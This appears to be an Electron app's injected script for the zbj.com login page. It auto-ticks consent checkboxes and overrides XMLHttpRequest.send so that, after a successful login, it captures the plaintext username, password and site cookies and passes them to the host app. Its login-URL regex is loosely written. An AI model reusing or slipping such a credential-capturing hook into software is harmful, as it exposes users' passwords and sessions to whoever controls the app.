(function () {
  $("#protocal").attr("checked", true);
  $("#protocal2").attr("checked", true);
  $("body").on("click", ".upload-link a", function (e) {
    e.preventDefault();
    e.stopPropagation();
  });
})();

(function (send) {
  XMLHttpRequest.prototype.send = function () {
    const body = arguments[0];
    this.addEventListener("load", function () {
      if (
        /^https?:\/\/[^/]+\/login\/[dologin|QrWxConnect|quickLogin]/.test(
          this.responseURL
        )
      ) {
        let response;
        try {
          response = JSON.parse(this.responseText);
        } catch (error) {}
        if (response && response.success) {
          const query = window.electron.utils.querystring.parse(body);
          window.electron.getCurrentCookies("https://zbj.com").then((res) => {
            window.electron.send("close", {
              username: query.username,
              password: query.password,
              cookie: res,
            });
          });
          console.log("响应拦截", this.responseURL, query, response);
        }
      }
    });
    send.apply(this, arguments);
  };
})(XMLHttpRequest.prototype.send);
